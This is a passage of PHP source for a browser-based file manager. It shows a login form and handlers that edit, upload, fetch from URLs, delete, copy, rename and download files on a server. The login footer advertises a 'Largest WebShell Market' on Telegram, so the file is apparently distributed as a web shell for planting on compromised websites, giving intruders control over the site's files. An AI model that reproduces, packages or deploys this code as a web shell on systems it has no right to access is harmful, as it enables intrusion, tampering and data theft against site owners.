<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 40.351562 57.882812 C 40.058594 58.175781 40.046875 58.441406 40.3125 58.332031 C 40.417969 58.292969 40.511719 58.320312 40.511719 58.398438 C 40.511719 58.480469 40.589844 58.492188 40.683594 58.441406 C 40.804688 58.359375 40.804688 58.375 40.683594 58.535156 C 40.417969 58.867188 41.3125 58.8125 41.605469 58.46875 C 41.871094 58.148438 41.910156 57.988281 41.699219 57.988281 C 41.632812 57.988281 41.589844 58.042969 41.644531 58.109375 C 41.683594 58.175781 41.65625 58.265625 41.605469 58.308594 C 41.539062 58.347656 41.417969 58.242188 41.339844 58.066406 C 41.164062 57.667969 40.644531 57.574219 40.351562 57.882812 Z M 40.351562 57.882812 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 39.710938 58.917969 C 39.820312 58.984375 40.03125 59.050781 40.164062 59.050781 C 40.511719 59.050781 40.40625 58.972656 39.910156 58.867188 C 39.617188 58.800781 39.566406 58.8125 39.710938 58.917969 Z M 39.710938 58.917969 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 41.605469 59.492188 C 41.722656 59.609375 41.882812 59.71875 41.964844 59.71875 C 42.152344 59.71875 42.257812 59.492188 42.070312 59.492188 C 41.976562 59.492188 41.792969 59.4375 41.644531 59.371094 C 41.390625 59.277344 41.390625 59.277344 41.605469 59.492188 Z M 41.605469 59.492188 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 72.707031 68.988281 C 72.65625 69.054688 71.976562 69.160156 71.214844 69.238281 C 70.109375 69.359375 69.789062 69.4375 69.628906 69.640625 C 69.351562 70.023438 68.097656 72.433594 68.097656 72.605469 C 68.097656 72.683594 68.21875 72.75 68.351562 72.75 C 68.535156 72.75 68.761719 72.457031 69.175781 71.699219 C 70.03125 70.105469 70.1875 69.929688 71.042969 69.8125 C 71.441406 69.757812 72.042969 69.707031 72.375 69.707031 C 73.09375 69.691406 73.441406 69.425781 73.160156 69.09375 C 72.972656 68.867188 72.855469 68.839844 72.707031 68.988281 Z M 72.707031 68.988281 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 75.425781 70.757812 C 74.800781 71.992188 74.773438 72.097656 75.054688 72.019531 C 75.480469 71.886719 75.640625 71.738281 75.828125 71.289062 C 76.027344 70.796875 76.210938 70.769531 76.121094 71.25 C 76.066406 71.527344 76.09375 71.582031 76.28125 71.515625 C 76.71875 71.339844 77.785156 70.582031 77.945312 70.316406 C 78.210938 69.90625 77.773438 69.558594 76.851562 69.464844 L 76.121094 69.386719 Z M 75.425781 70.757812 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 41.363281 70.449219 C 41.230469 70.664062 40.9375 71.167969 40.699219 71.582031 C 40.285156 72.296875 40.273438 72.351562 40.523438 72.351562 C 40.671875 72.351562 41.085938 72.230469 41.445312 72.074219 C 41.976562 71.847656 42.070312 71.753906 41.9375 71.621094 C 41.804688 71.460938 41.75 71.472656 41.617188 71.660156 C 41.363281 71.980469 41.40625 71.738281 41.722656 71.128906 L 42.003906 70.570312 L 42.402344 71.023438 L 42.789062 71.472656 L 43.082031 71.167969 C 43.335938 70.914062 43.351562 70.863281 43.175781 70.742188 C 43.003906 70.621094 43.015625 70.609375 43.203125 70.675781 C 43.511719 70.769531 43.644531 70.53125 43.445312 70.289062 C 43.324219 70.15625 43.015625 70.089844 42.445312 70.089844 C 41.683594 70.089844 41.589844 70.117188 41.363281 70.449219 Z M 41.363281 70.449219 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 42.03125 71.273438 C 42.03125 71.433594 42.097656 71.5 42.230469 71.449219 C 42.363281 71.394531 42.390625 71.433594 42.3125 71.554688 C 42.230469 71.671875 42.257812 71.699219 42.363281 71.632812 C 42.484375 71.554688 42.46875 71.460938 42.296875 71.273438 C 42.019531 70.96875 42.03125 70.96875 42.03125 71.273438 Z M 42.03125 71.273438 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 69.457031 73.429688 C 67.550781 73.65625 67.5625 73.640625 66.992188 75.023438 C 66.722656 75.703125 66.511719 76.261719 66.523438 76.277344 C 66.550781 76.289062 67.019531 76.25 67.5625 76.183594 C 68.109375 76.117188 68.671875 76.089844 68.804688 76.128906 C 68.964844 76.167969 69.03125 76.128906 68.988281 76.023438 C 68.949219 75.929688 68.882812 75.464844 68.828125 74.984375 L 68.738281 74.121094 L 69.242188 74.042969 C 69.535156 73.988281 70.015625 73.949219 70.324219 73.949219 C 70.628906 73.949219 70.921875 73.882812 70.960938 73.816406 C 71.070312 73.640625 70.789062 73.269531 70.574219 73.296875 C 70.496094 73.308594 69.988281 73.363281 69.457031 73.429688 Z M 69.457031 73.429688 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 74.054688 73.773438 C 73.867188 74.082031 73.027344 76.234375 73.027344 76.394531 C 73.027344 76.5 72.867188 76.714844 72.679688 76.859375 C 72.402344 77.085938 72.214844 77.125 71.773438 77.058594 L 71.230469 76.980469 L 71.496094 77.246094 C 71.910156 77.660156 72.640625 77.738281 73.066406 77.394531 C 73.269531 77.246094 73.425781 77.046875 73.425781 76.953125 C 73.425781 76.875 73.667969 76.210938 73.960938 75.492188 C 74.375 74.480469 74.46875 74.132812 74.359375 73.933594 C 74.199219 73.65625 74.148438 73.628906 74.054688 73.773438 Z M 74.054688 73.773438 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 40.179688 74.175781 C 39.230469 74.292969 39.179688 74.332031 38.699219 75.316406 C 38.460938 75.835938 38.246094 76.34375 38.246094 76.433594 C 38.246094 76.554688 38.484375 76.609375 39.085938 76.609375 C 39.753906 76.609375 40.097656 76.527344 40.859375 76.15625 C 41.65625 75.769531 42.511719 75.050781 42.511719 74.773438 C 42.496094 74.226562 41.578125 74 40.179688 74.175781 Z M 40.179688 74.175781 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 73.878906 82.234375 C 73.789062 82.394531 73.335938 83.269531 72.855469 84.1875 C 72.375 85.105469 71.734375 86.464844 71.441406 87.222656 L 70.910156 88.589844 L 71.242188 88.550781 C 71.535156 88.511719 71.640625 88.351562 72.027344 87.382812 C 72.519531 86.089844 73.242188 84.613281 73.921875 83.496094 C 74.214844 83.003906 74.359375 82.59375 74.332031 82.367188 C 74.28125 81.914062 74.066406 81.847656 73.878906 82.234375 Z M 73.878906 82.234375 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 29.023438 66.0625 C 29.222656 66.140625 29.238281 66.632812 29.039062 66.632812 C 28.929688 66.632812 28.945312 66.710938 29.066406 66.847656 C 29.222656 67.046875 29.25 67.019531 29.34375 66.621094 C 29.425781 66.179688 29.304688 65.953125 28.984375 65.980469 C 28.917969 65.980469 28.929688 66.019531 29.023438 66.0625 Z M 29.023438 66.0625 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 27.320312 68.015625 C 27.320312 68.042969 27.410156 68.109375 27.53125 68.148438 C 27.636719 68.1875 27.691406 68.175781 27.652344 68.097656 C 27.570312 67.964844 27.320312 67.910156 27.320312 68.015625 Z M 27.320312 68.015625 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 25.386719 71.289062 C 25.347656 71.355469 25.375 71.421875 25.441406 71.421875 C 25.519531 71.421875 25.585938 71.355469 25.585938 71.289062 C 25.585938 71.207031 25.558594 71.15625 25.53125 71.15625 C 25.492188 71.15625 25.425781 71.207031 25.386719 71.289062 Z M 25.386719 71.289062 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 30.183594 74.492188 C 30.128906 74.574219 30.117188 74.652344 30.15625 74.691406 C 30.183594 74.734375 30.25 74.667969 30.289062 74.546875 C 30.382812 74.320312 30.304688 74.28125 30.183594 74.492188 Z M 30.183594 74.492188 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 28.664062 80.597656 C 28.585938 80.878906 28.304688 81.394531 28.039062 81.726562 C 27.691406 82.179688 27.652344 82.300781 27.851562 82.195312 C 28.238281 81.980469 28.785156 81.117188 28.878906 80.542969 C 28.984375 79.90625 28.863281 79.933594 28.664062 80.597656 Z M 28.664062 80.597656 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 23.320312 85.785156 C 23.320312 86.316406 24.535156 86.503906 24.640625 85.984375 C 24.679688 85.757812 24.667969 85.746094 24.441406 85.917969 C 24.265625 86.0625 24.226562 86.0625 24.308594 85.945312 C 24.398438 85.796875 24.359375 85.785156 24.132812 85.90625 C 23.773438 86.105469 23.507812 85.972656 23.734375 85.707031 C 23.855469 85.558594 23.828125 85.519531 23.601562 85.519531 C 23.414062 85.519531 23.320312 85.597656 23.320312 85.785156 Z M 23.320312 85.785156 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 65.671875 84.429688 C 65.152344 84.960938 63.273438 87.394531 63.328125 87.449219 C 63.351562 87.472656 63.914062 87.339844 64.566406 87.179688 L 65.765625 86.875 L 65.992188 85.4375 C 66.113281 84.640625 66.203125 83.976562 66.179688 83.964844 C 66.164062 83.949219 65.9375 84.148438 65.671875 84.429688 Z M 65.671875 84.429688 "/>
</g>
</svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://t.me/crush_30x" target="_blank" class="text-decoration-none text-muted">Largest WebShell Market</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

    <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if (isset($_POST['type']) && $_POST['type'] == "search") {
        $dir = $_POST['path'] == "." ? '' : $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false) {
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        function event_callback($message)
        {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path()
        {
            global $path, $fileinfo, $temp_file;
            return $path . "/" . basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if (!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
    $del = str_replace('/', '', fm_clean_path($_GET['del']));
    if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename'])));
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if (fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
        if (!$move) { //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if (!is_dir($from)) {
                $extension_suffix = '.' . $fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
                $fn_parts = pathinfo($fn_duplicate);
                $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
                $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
        } else {
            fm_set_msg(lng('Paths must be not equal'), 'alert');
        }
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }

    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    // Verify the token to ensure it's valid
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
        exit;
    }

    // Clean the download file path
    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl); // Prevent directory traversal attacks

    // Define the file path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    // Check if the file exists and is valid
    if ($dl != '' && is_file($path . '/' . $dl)) {
        // Close the session to prevent session locking
        if (session_status() === PHP_SESSION_ACTIVE) {
            session_write_close();
        }

        // Call the download function
        fm_download_file($path . '/' . $dl, $dl, 1024); // Download with a buffer size of 1024 bytes
        exit;
    } else {
        // Handle the case where the file is not found
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if (isset($_POST['token'])) {
        if (!verifyToken($_POST['token'])) {
            $response = array('status' => 'error', 'info' => "Invalid Token.");
            echo json_encode($response);
            exit();
        }
    } else {
